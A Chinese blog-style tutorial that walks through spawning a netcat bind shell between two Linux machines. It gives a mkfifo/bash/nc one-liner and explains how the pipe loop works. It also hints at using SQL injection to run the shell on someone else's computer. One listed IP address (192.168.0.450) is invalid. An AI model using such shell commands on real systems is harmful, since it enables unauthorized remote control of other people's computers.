netcat 弹shell

从名字来看net加个cat, 就感觉这个东西啊, excited!
如果能够远程在别人的电脑里下个nc再执行一段代码, 别人知道后是会很angery的.

假如我有两台都装了linux和nc的电脑A和B.


电脑A: ip 192.168.0.233

电脑B: ip 192.168.0.450


我闲着蛋疼想用nc从电脑B弹个shell给电脑A用假装自己用电脑A黑进了电脑B一样, 首先我在电脑B上装上openbsd-netcat然后打了这么一串高级的东西:

$ mkfifo /tmp/tf

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf


然后再自己跑到电脑A前打了这么一串:

$ nc 192.168.0.450 1234

好神奇啊, 电脑A的屏幕上就会出现这样的东西(用127.0.0.1的原因嘛, 毕竟穷只有一台电脑没办法)


试一下看看能不能用:



真的能用诶!

解释一下发生了什么.

在电脑B上首先用mkfifo创建了一个特别的fifo文件tf. 这个文件可就厉害了, 他是 First Input First Output的缩写,先入先出队列,这是一种传统的按序执行方法,先进入的指令先完成并引退,跟着才执行第二条指令. 弹出来的shell能一条一条执行全都靠它.

再看看后面的一长串天书:

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf

分开来看

1.首先输出tf的内容. 再把tf的内容作为输入传给bash.

2.这里bash后面的-i (interactive) 代表交互式地运行bash. 所谓交互式就是有来有往, 一条输入, 一条输出. 后面的2>&1 代表把标准错误(2)重定向到标准输(1)出上去, &是为了区分标准输出 1 和文件 1(如果有的话). 其实也就是把标准错误和标准输出合并在了一起.合并完后的命令的输出不仅有标准输出还有标准错误.

3.最后把bash 管道到nc里面. 这边nc就是一个服务器, 监听端口1234 并且把网络输入传回给tf.

整条命令形成了一个环. 一开始tf里面什么都没有, bash把prompt信息(被当作标准错误) 输出到与nc建立连接的电脑A. 等我跑到电脑A前输入ls的时候, ls作为电脑B上nc的输出传给了tf. tf把ls作为输出又传给了bash. bash解释ls, 把目录内容作为输入,输出到电脑B的nc上. 这样站在电脑A前的我就能看到输出啦.

除了bash, 别的shell做得到吗?

python



lua



如果能用sql注入或者别的什么办法在别人电脑上执行电脑B上的命令, 应该不用跑到其他电脑前就能控制整个shell了吧. 真是可喜可贺可喜可贺.



最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 第1章 小试牛刀 $ 是普通用户,# 表示管理员用户 root。 shebang:#!。sharp / hash ...
    巴喬書摘阅读 6,443评论 1 4
  • TF API数学计算tf...... :math(1)刚开始先给一个运行实例。tf是基于图(Graph)的计算系统...
    MachineLP阅读 3,611评论 0 1
  • 1.创建文件夹 !/bin/sh mkdir -m 777 "%%1" 2.创建文件 !/bin/sh touch...
    BigJeffWang阅读 10,233评论 3 53
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,256评论 2 33
  • 为何叫做 shell ? shell prompt(PS1) 与 Carriage Return(CR) 的关系?...
    Zero___阅读 3,203评论 3 49